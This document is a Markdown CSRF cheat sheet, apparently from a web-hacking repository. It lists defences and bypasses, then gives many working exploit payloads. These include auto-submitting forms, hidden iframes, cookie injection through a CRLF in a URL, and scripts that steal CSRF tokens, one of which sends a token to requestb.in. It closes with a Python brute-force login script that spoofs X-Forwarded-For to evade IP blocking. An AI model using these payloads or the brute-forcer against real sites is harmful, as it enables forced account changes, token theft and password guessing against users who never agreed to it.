555 lines
17 KiB
Markdown
555 lines
17 KiB
Markdown
# CSRF (Cross-Site Request Forgery)
|
|
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
|
|
|
|
## Common Defenses
|
|
* SameSite cookies
|
|
* Cross-origin resource sharing
|
|
* Ask for the password user to authorise the action
|
|
* Resolve a captcha
|
|
* Read the **Referrer** or **Origin** headers
|
|
If a regex is used it could be bypassed form example with:
|
|
* http://mal.net?orig=http://example.com (ends with the url)
|
|
* http://example.com.mal.net (starts with the url)
|
|
* Modify the name of the parameters of the **Post** or **Get** request
|
|
* Use a CSRF token in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.
|
|
|
|
## Defences Bypass
|
|
### 1. From POST to GET
|
|
### 2. Lack of token
|
|
Some applications correctly validate the token when it is present but skip the validation if the token is omitted.
|
|
### 3. CSRF token is not tied to the user session
|
|
### 4. Method bypass
|
|
If the request is using a "weird" method, check if the method override functionality is working.
|
|
For example, if it's using a `PUT` method you can try to use a `POST` method and send: https://example.com/my/dear/api/val/num?_method=PUT
|
|
This could also works sending the `_method` parameter inside the a `POST` request or using the headers:
|
|
* `X-HTTP-Method`
|
|
* `X-HTTP-Method-Override`
|
|
* `X-Method-Override`
|
|
### 5. Custom header token bypass
|
|
If the request is adding a custom header with a token to the request as CSRF protection method, then:
|
|
* Test the request without the Customized Token and also header
|
|
* Test the request with exact same length but different token
|
|
### 6. CSRF token is verified by a cookie
|
|
Some applications duplicate each token within a cookie and a request parameter. Or the set a csrf cookie and the checks in the backend if the csrf token sent is the one related with the cookie.
|
|
* you can set the cookie trying to load a fake image and then launch the CSRF attack like in this example
|
|
|
|
```html
|
|
<html>
|
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
|
|
<input type="hidden" name="email" value="asd@asd.asd" />
|
|
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
|
|
</body>
|
|
</html>
|
|
|
|
```
|
|
> Note that if the csrf token is related with the session cookie this attack won't work because you will need to set the victim your session, and therefore you will be attacking yourself.
|
|
|
|
### 7. Content-Type change
|
|
in order to avoid preflight requests using `POST` method these are the allowed Content-Type values:
|
|
* `application/x-www-form-urlencoded`
|
|
* `multipart/form-data`
|
|
* `text/plain`
|
|
|
|
sending JSON data as text/plain
|
|
```html
|
|
<html>
|
|
<body>
|
|
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
|
|
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
|
|
</form>
|
|
<script>
|
|
form.submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
```
|
|
### 8. Referrer / Origin check bypass
|
|
Avoid Referrer header
|
|
|
|
```html
|
|
<meta name="referrer" content="never">
|
|
|
|
```
|
|
To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:
|
|
```html
|
|
<html>
|
|
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
|
<head><meta name="referrer" content="unsafe-url"></head>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
|
|
<input type="hidden" name="email" value="asd@asd.asd" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
// You need to set this or the domain won't appear in the query of the referer header
|
|
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
|
|
document.forms[0].submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
```
|
|
## Exploit
|
|
|
|
### Exfiltrating CSRF Token
|
|
If a CSRF token is being used as defence you could try to exfiltrate it abusing a **XSS** vulnerability or a **Dangling Markup** vulnerability.
|
|
|
|
### GET using HTML tags
|
|
```html
|
|
<img src="http://google.es?param=VALUE" style="display:none" />
|
|
<h1>404 - Page not found</h1>
|
|
The URL you are requesting is no longer available
|
|
|
|
```
|
|
Other HTML5 tags that can be used to **automatically** send a `GET` request are:
|
|
|
|
![get](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/0bb0e0ba-2fd5-4d2e-92a0-eec99fc34cec)
|
|
|
|
### Form GET request
|
|
```html
|
|
<html>
|
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form method="GET" action="https://victim.net/email/change-email">
|
|
<input type="hidden" name="email" value="some@email.com" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
document.forms[0].submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
```
|
|
### Form POST request
|
|
```html
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
|
|
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
|
|
<input type="submit" value="Submit request" />
|
|
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
|
|
</form>
|
|
<script>
|
|
document.forms[0].submit(); //Way 3 to autosubmit
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
```
|
|
|
|
### Form POST request through iframe
|
|
```html
|
|
<!--
|
|
The request is sent through the iframe withuot reloading the page
|
|
-->
|
|
<html>
|
|
<body>
|
|
<iframe style="display:none" name="csrfframe"></iframe>
|
|
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
|
|
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
document.forms[0].submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
```
|
|
|
|
### Ajax POST request
|
|
```html
|
|
<script>
|
|
var xh;
|
|
if (window.XMLHttpRequest)
|
|
{// code for IE7+, Firefox, Chrome, Opera, Safari
|
|
xh=new XMLHttpRequest();
|
|
}
|
|
else
|
|
{// code for IE6, IE5
|
|
xh=new ActiveXObject("Microsoft.XMLHTTP");
|
|
}
|
|
xh.withCredentials = true;
|
|
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
|
|
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
|
|
xh.send("username=abcd&status=on");
|
|
</script>
|
|
|
|
<script>
|
|
//JQuery version
|
|
$.ajax({
|
|
type: "POST",
|
|
url: "https://google.com",
|
|
data: "param=value¶m2=value2"
|
|
})
|
|
</script>
|
|
|
|
```
|
|
|
|
### multipart/form-data POST request
|
|
```javascript
|
|
myFormData = new FormData();
|
|
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
|
myFormData.append("newAttachment", blob, "pwned.php");
|
|
fetch("http://example/some/path", {
|
|
method: "post",
|
|
body: myFormData,
|
|
credentials: "include",
|
|
headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
|
mode: "no-cors"
|
|
});
|
|
|
|
```
|
|
|
|
### multipart/form-data POST request v2
|
|
```javascript
|
|
var fileSize = fileData.length,
|
|
boundary = "OWNEDBYOFFSEC",
|
|
xhr = new XMLHttpRequest();
|
|
xhr.withCredentials = true;
|
|
xhr.open("POST", url, true);
|
|
// MIME POST request.
|
|
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
|
|
xhr.setRequestHeader("Content-Length", fileSize);
|
|
var body = "--" + boundary + "\r\n";
|
|
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
|
|
body += "Content-Type: " + ctype + "\r\n\r\n";
|
|
body += fileData + "\r\n";
|
|
body += "--" + boundary + "--";
|
|
|
|
//xhr.send(body);
|
|
xhr.sendAsBinary(body);
|
|
|
|
```
|
|
### HTML POST - AutoSubmit - No User Interaction
|
|
```html
|
|
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
|
<input name="username" type="hidden" value="CSRFd" />
|
|
<input type="submit" value="Submit Request" />
|
|
</form>
|
|
|
|
<script>
|
|
document.getElementById("autosubmit").submit();
|
|
</script>
|
|
|
|
```
|
|
|
|
### JSON GET - Simple Request
|
|
```html
|
|
<script>
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("GET", "http://www.example.com/api/currentuser");
|
|
xhr.send();
|
|
</script>
|
|
|
|
```
|
|
|
|
### JSON POST - Simple Request
|
|
```html
|
|
<script>
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", "http://www.example.com/api/setrole");
|
|
//application/json is not allowed in a simple request. text/plain is the default
|
|
xhr.setRequestHeader("Content-Type", "text/plain");
|
|
//You will probably want to also try one or both of these
|
|
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
|
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
|
|
xhr.send('{"role":admin}');
|
|
</script>
|
|
|
|
```
|
|
|
|
### JSON POST - Complex Request
|
|
```html
|
|
<script>
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", "http://www.example.com/api/setrole");
|
|
xhr.withCredentials = true;
|
|
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
|
|
xhr.send('{"role":admin}');
|
|
</script>
|
|
|
|
```
|
|
|
|
|
|
### Form POST request from within an iframe
|
|
```html
|
|
<--! expl.html -->
|
|
|
|
<body onload="envia()">
|
|
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
|
|
<input type="text" id="pwd" name="pwd" value="otra nueva">
|
|
</form>
|
|
<body>
|
|
<script>
|
|
function envia(){document.getElementById("formulario").submit();}
|
|
</script>
|
|
|
|
<!-- public.html -->
|
|
<iframe src="2-1.html" style="position:absolute;top:-5000">
|
|
</iframe>
|
|
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
|
|
|
```
|
|
|
|
### Steal CSRF Token and send a POST request
|
|
```javascript
|
|
function submitFormWithTokenJS(token) {
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", POST_URL, true);
|
|
xhr.withCredentials = true;
|
|
|
|
// Send the proper header information along with the request
|
|
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
|
|
|
// This is for debugging and can be removed
|
|
xhr.onreadystatechange = function() {
|
|
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
|
//console.log(xhr.responseText);
|
|
}
|
|
}
|
|
|
|
xhr.send("token=" + token + "&otherparama=heyyyy");
|
|
}
|
|
|
|
function getTokenJS() {
|
|
var xhr = new XMLHttpRequest();
|
|
// This tels it to return it as a HTML document
|
|
xhr.responseType = "document";
|
|
xhr.withCredentials = true;
|
|
// true on the end of here makes the call asynchronous
|
|
xhr.open("GET", GET_URL, true);
|
|
xhr.onload = function (e) {
|
|
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
|
// Get the document from the response
|
|
page = xhr.response
|
|
// Get the input element
|
|
input = page.getElementById("token");
|
|
// Show the token
|
|
//console.log("The token is: " + input.value);
|
|
// Use the token to submit the form
|
|
submitFormWithTokenJS(input.value);
|
|
}
|
|
};
|
|
// Make the request
|
|
xhr.send(null);
|
|
}
|
|
|
|
var GET_URL="http://google.com?param=VALUE"
|
|
var POST_URL="http://google.com?param=VALUE"
|
|
getTokenJS();
|
|
|
|
```
|
|
|
|
### Steal CSRF Token and send a Post request using an iframe, a form and Ajax
|
|
```html
|
|
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
|
<input type="text" name="username" value="AA">
|
|
<input type="checkbox" name="status" checked="checked">
|
|
<input id="token" type="hidden" name="token" value="" />
|
|
</form>
|
|
|
|
<script type="text/javascript">
|
|
function f1(){
|
|
x1=document.getElementById("i1");
|
|
x1d=(x1.contentWindow||x1.contentDocument);
|
|
t=x1d.document.getElementById("token").value;
|
|
|
|
document.getElementById("token").value=t;
|
|
document.getElementById("form1").submit();
|
|
}
|
|
</script>
|
|
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
|
|
|
```
|
|
|
|
### Steal CSRF Token and sen a POST request using an iframe and a form
|
|
```html
|
|
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
|
|
|
<script>
|
|
function read()
|
|
{
|
|
var name = 'admin2';
|
|
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
|
|
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
|
|
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
|
|
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
|
|
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
|
|
document.writeln('</form>');
|
|
document.forms[0].submit.click();
|
|
}
|
|
</script>
|
|
|
|
```
|
|
|
|
### Steal token and send it using 2 iframes
|
|
```html
|
|
<script>
|
|
var token;
|
|
function readframe1(){
|
|
token = frame1.document.getElementById("profile").token.value;
|
|
document.getElementById("bypass").token.value = token
|
|
loadframe2();
|
|
}
|
|
function loadframe2(){
|
|
var test = document.getElementbyId("frame2");
|
|
test.src = "http://requestb.in/1g6asbg1?token="+token;
|
|
}
|
|
</script>
|
|
|
|
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
|
|
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
|
height="600" width="800"></iframe>
|
|
|
|
<iframe id="frame2" name="frame2"
|
|
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
|
height="600" width="800"></iframe>
|
|
<body onload="document.forms[0].submit()">
|
|
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
|
|
<input type="text" name="username" value="z">
|
|
<input type="checkbox" name="status" checked="">
|
|
<input id="token" type="hidden" name="token" value="0000" />
|
|
<button type="submit">Submit</button>
|
|
</form>
|
|
|
|
```
|
|
|
|
### POST Steal CSRF token with Ajax and send a post with a form
|
|
```html
|
|
<body onload="getData()">
|
|
|
|
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
|
<input type="hidden" name="username" value="root"/>
|
|
<input type="hidden" name="status" value="on"/>
|
|
<input type="hidden" id="findtoken" name="token" value=""/>
|
|
<input type="submit" value="valider"/>
|
|
</form>
|
|
|
|
<script>
|
|
var x = new XMLHttpRequest();
|
|
function getData() {
|
|
x.withCredentials = true;
|
|
x.open("GET","http://google.com?param=VALUE",true);
|
|
x.send(null);
|
|
}
|
|
x.onreadystatechange = function() {
|
|
if (x.readyState == XMLHttpRequest.DONE) {
|
|
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
|
|
document.getElementById("findtoken").value = token;
|
|
document.getElementById("form").submit();
|
|
}
|
|
}
|
|
</script>
|
|
|
|
```
|
|
|
|
### CSRF with Socket.IO
|
|
```html
|
|
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
|
<script>
|
|
let socket = io('http://six.jh2i.com:50022/test');
|
|
|
|
const username = 'admin'
|
|
|
|
socket.on('connect', () => {
|
|
console.log('connected!');
|
|
socket.emit('join', {
|
|
room: username
|
|
});
|
|
socket.emit('my_room_event', {
|
|
data: '!flag',
|
|
room: username
|
|
})
|
|
|
|
});
|
|
</script>
|
|
|
|
```
|
|
|
|
|
|
## CSRF Login Brute Force
|
|
The code can be used to Brut Force a login form using a CSRF token (It's also using the header `X-Forwarded-For` to try to bypass a possible IP blacklisting):
|
|
```python
|
|
import request
|
|
import re
|
|
import random
|
|
|
|
URL = "http://10.10.10.191/admin/"
|
|
PROXY = { "http": "127.0.0.1:8080"}
|
|
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
|
USER = "fergus"
|
|
PASS_LIST="./words"
|
|
|
|
def init_session():
|
|
#Return CSRF + Session (cookie)
|
|
r = requests.get(URL)
|
|
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
|
csrf = csrf.group(1)
|
|
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
|
return csrf, session_cookie
|
|
|
|
def login(user, password):
|
|
print(f"{user}:{password}")
|
|
csrf, cookie = init_session()
|
|
cookies = {SESSION_COOKIE_NAME: cookie}
|
|
data = {
|
|
"tokenCSRF": csrf,
|
|
"username": user,
|
|
"password": password,
|
|
"save": ""
|
|
}
|
|
headers = {
|
|
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
|
}
|
|
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
|
if "Username or password incorrect" in r.text:
|
|
return False
|
|
else:
|
|
print(f"FOUND {user} : {password}")
|
|
return True
|
|
|
|
with open(PASS_LIST, "r") as f:
|
|
for line in f:
|
|
login(USER, line.strip())
|
|
|
|
|
|
```
|
|
|
|
## Tools
|
|
* https://github.com/0xInfection/XSRFProbe
|
|
* https://github.com/merttasci/csrf-poc-generator
|
|
|
|
|
|
## CSRF map
|
|
![csrf](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/ae6145d7-73cf-4881-9919-2ebe1a53f2b3)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|